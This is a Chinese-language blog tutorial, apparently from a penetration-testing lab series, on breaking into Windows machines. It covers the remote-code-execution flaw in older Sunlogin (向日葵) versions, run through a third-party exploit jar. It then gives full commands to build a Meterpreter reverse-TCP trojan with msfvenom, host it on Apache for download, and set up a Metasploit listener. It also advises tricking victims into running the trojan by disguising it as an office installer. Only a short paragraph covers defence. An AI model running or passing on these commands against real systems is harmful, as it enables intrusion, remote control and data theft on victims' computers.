欢迎光临
我们一直在努力

Windows系统基础安全2

声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

本篇文章主要介绍向日葵低版本存在的漏洞,以及木马制作与植入,仅供学习!!!

  • 第三方应用程序漏洞

第三方漏洞指存在于非 Windows 操作系统基础框架之外的应用软件、组件和服务中的潜在安全缺陷(如办公软件、远程控制工具、浏览器插件等),是攻击者常用的攻击入口

  • 案例:向日葵版本漏洞

向日葵个人版for Windows <= 11.0.0.33

向日葵简约版 <= V1.0.1.43315(2021.12)

  • 攻击流程

1.端口扫描(定位向日葵服务)

向日葵运行时会随机开启一个 40000-65535 之间的端口

扫描命令

nmap -p 40000-65535 192.168.153.132(目标机ip)

此时需要访问的网址有:

http://192.168.153.132:49152

http://192.168.153.132:49153

http://192.168.153.132:49154

http://192.168.153.132:49155

http://192.168.153.132:49156

http://192.168.153.132:49157

http://192.168.153.132:49180

这里推荐火狐浏览器中的一个插件Pasty,它能够快速打开剪贴板上的一堆网页

最终显示如下界面的,则是向日葵服务端口,我的是49180

2.漏洞利用

前置条件:攻击机需安装 JDK 8 环境(否则无法运行利用工具)【直接去到咱们的bin目录下】

因担心与本机burp suite相冲突,我并没有安装jdk 8,只是装了个jre框架,然后借助了某位大佬制造的Sunlogin漏洞利用工具。

在文件目录下运行cmd,工具启动命令:

java -jar Sunlogin漏洞利用工具.jar # 替换为实际工具文件名

利用步骤:

输入目标机 IP + 向日葵端口 → 执行命令→ 获取目标机控制权(如 CMD 权限、文件管理权限)

3.防御手段

核心措施:及时更新向日葵软件到最新版本(官方已修复该漏洞)

辅助措施:防火墙限制向日葵端口的访问范围,仅允许授权 IP 连接


  • 木马制作与植入

1.制作木马病毒

(1)生成Windows木马程序

msfconsole # 启动 Metasploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.131 LPORT=9999 -f exe > shell.exe

参数说明:

-p :指定 payload(攻击载荷)

LHOST :攻击机 IP(Kali 本机 IP)

LPORT :攻击机监听端口(自定义,如 9999)

-f exe :生成 EXE 格式文件

shell.exe :将木马保存为 shell.exe

(2)搭建文件服务器(供目标机下载木马)

mv shell.exe /var/www/html#将木马复制到 Apache 网站根目录
​
service apache2 start#启动 Apache 服务

验证:浏览器访问 http://192.168.153.131/shell.exe ,若能下载则说明服务器搭建成功

(3)攻击机开启监听

msfconsole # 若已启动可跳过
use exploit/multi/handler # 加载监听模块
set payload windows/meterpreter/reverse_tcp # 与木马 payload 一致
set lhost 0.0.0.0 # 监听所有网卡,也可以是攻击者192.168.153.131
set lport 9999 # 与木马 LPORT 一致
run # 启动监听

2.木马植入与控制

(1)植入方式

社会工程学:通过邮件附件、聊天工具发送木马下载链接( http://攻击机IP/shell.exe )

内网渗透:利用已控制的设备,将木马复制到目标机共享文件夹

漏洞利用:通过前文提到的 MS17-010 等漏洞,将木马上传到目标机

(2)启动木马

目标机用户双击下载的 shell.exe (需诱导用户执行,如伪装为"办公软件安装包")

(3)控制目标机

当目标机执行木马后,攻击机 Metasploit 会显示" Meterpreter session 1 opened ",表示连接成功

常用控制命令(同前文 Meterpreter 操作): ps (查看进程)、 screenshot (截屏)、 shell (获取 CMD)等

赞(0)
未经允许不得转载:171主机测评 » Windows系统基础安全2
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址